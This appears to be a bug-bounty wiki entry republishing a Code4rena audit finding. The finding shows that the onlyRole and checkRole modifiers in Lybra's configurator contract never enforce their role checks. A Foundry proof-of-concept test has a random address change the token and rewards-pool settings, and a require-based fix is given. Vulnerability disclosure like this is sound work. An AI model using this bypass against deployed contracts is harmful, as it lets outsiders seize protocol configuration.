Incorrectly implemented modifiers in LybraConfigurator.sol allow any address to call functions that are supposed to be restricted
The access-control modifiers onlyRole and checkRole in LybraConfigurator.sol were implemented incorrectly, so they did not actually restrict callers. Any address could call sensitive functions such as initToken and setProtocolRewardsPool.
alexweb3 Follow with D_Auditor, josephdara and 21 others
Originally disclosed on Code4rena
Submitted by alexweb3, also found by D_Auditor, josephdara, TorpedoPistolIXC41, zaggle, koo, cartlex_, hals, mladenov, Neon2835, Neon2835, lanrebayode77, Silvermist, pep7siup, Musaka, Timenov, Timenov, LuchoLeonel1, mahyar, mrudenko, DedOhWale, adeolu, zaevlad, and DelerRH
The modifiers onlyRole (bytes32 role) and checkRole (bytes32 role) are not implemented correctly. This would allow anybody to call sensitive functions that should be restricted.
Proof of Concept
For the POC, I set up a new foundry projects and copied the folders lybra, mocks and OFT in the src folder of the new project. I installed the dependencies and then I created a file POCs.t.sol in the test folder. Here is the code that shows a random address can call sensitive functions that should be restricted:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/lybra/configuration/LybraConfigurator.sol";
import "../src/lybra/governance/GovernanceTimelock.sol";
import "../src/lybra/miner/esLBRBoost.sol";
contract POCsTest is Test {
Configurator public lybraConfigurator;
GovernanceTimelock public governance;
esLBRBoost public boost;
address public dao = makeAddr("dao");
address public curvePool = makeAddr("curvePool");
address public randomUser = makeAddr("randomUser");
address public admin = makeAddr("admin");
address public eusd = makeAddr("eusd");
address public pEusd = makeAddr("pEusd");
address proposerOne = makeAddr("proposerOne");
address executorOne = makeAddr("executorOne");
address[] proposers = [proposerOne];
address[] executors = [executorOne];
address public rewardsPool = makeAddr("rewardsPool");
function setUp() public {
governance = new GovernanceTimelock(10000, proposers, executors, admin);
lybraConfigurator = new Configurator(address(governance), curvePool);
boost = new esLBRBoost();
}
function testIncorrectlyImplementedModifiers() public {
console.log("EUSD BEFORE", address(lybraConfigurator.EUSD()));
vm.prank(randomUser);
lybraConfigurator.initToken(eusd, pEusd);
console.log("EUSD AFTER", address(lybraConfigurator.EUSD()));
console.log("RewardsPool BEFORE", address(lybraConfigurator.lybraProtocolRewardsPool()));
vm.prank(randomUser);
lybraConfigurator.setProtocolRewardsPool(rewardsPool);
console.log("RewardsPool AFTER", address(lybraConfigurator.lybraProtocolRewardsPool()));
}
}
Tools Used
Manual Review
Recommended Mitigation Steps
Wrap the 2 function calls in a require statement:
In modifier onlyRole (bytes32 role), instead of GovernanceTimelock.checkOnlyRole (role, msg.sender), it should be something like require (GovernanceTimelock.checkOnlyRole (role, msg.sender), “Not Authorized”).
The same goes for the checkRole (bytes32 role) modifier.
Assessed type
Access Control
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the modifiers called the governance role-check function but did not require its boolean result to be true, so the check had no effect.
Impact
Any address could change sensitive protocol configuration, such as the EUSD token address and the rewards pool, which could undermine the protocol.
What the attacker needed
None
The fix
The modifiers should wrap the governance role check in a require statement so the call reverts when the caller lacks the role.
How it was found
- Set up a Foundry project with the Lybra contracts and dependencies.
- Deploy the governance timelock and the configurator.
- From a random address, call initToken with arbitrary token addresses.
- From a random address, call setProtocolRewardsPool with an arbitrary address.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Smart contracts often have special functions that only an administrator should be able to run. The code used a check to decide who is allowed, but the check was written in a way that did not stop anyone. As a result, a random user could change important settings.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.